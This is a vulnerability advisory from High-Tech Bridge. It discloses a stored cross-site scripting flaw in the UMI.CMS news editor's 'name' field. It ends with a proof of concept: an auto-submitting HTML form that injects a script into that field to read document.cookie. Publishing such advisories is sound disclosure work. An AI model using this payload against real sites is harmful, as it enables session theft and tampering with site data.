HTB22813: XSS vulnerability in UMI.CMS


Vulnerability ID: HTB22813 Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_umi_cms_1.html Product: UMI.CMS Vendor: umisoft ( http://www.umi-cms.ru/ ) Vulnerable Version: Vendor Notification: 25 January 2011 Vulnerability Type: Stored XSS (Cross Site Scripting) Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the "/admin/news/edit/4/do/" script to properly sanitize user-supplied input in "name" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/admin/news/edit/PAGEID/do/" method="post" name="main" enctype="multipart/form-data" > <input type="hidden" name="referer" value="hello"> <input type="hidden" name="domain" value="host"> <input type="hidden" name="name" value='news"><script>alert(document.cookie)</script>'> <input type="hidden" name="alt-name" value="altname"> <input type="hidden" name="active" value="0"> <input type="hidden" name="active" value="1"> <input type="hidden" name="type-id" value="23"> <input type="hidden" name="save-mode" value="Save"> <input type="hidden" name="template-id" value="2"> <input type="hidden" name="is-visible" value="0"> <input type="hidden" name="is-default" value="0"> <input type="hidden" name="perms_read[2373]" value="1"> </form> <script> document.main.submit(); </script>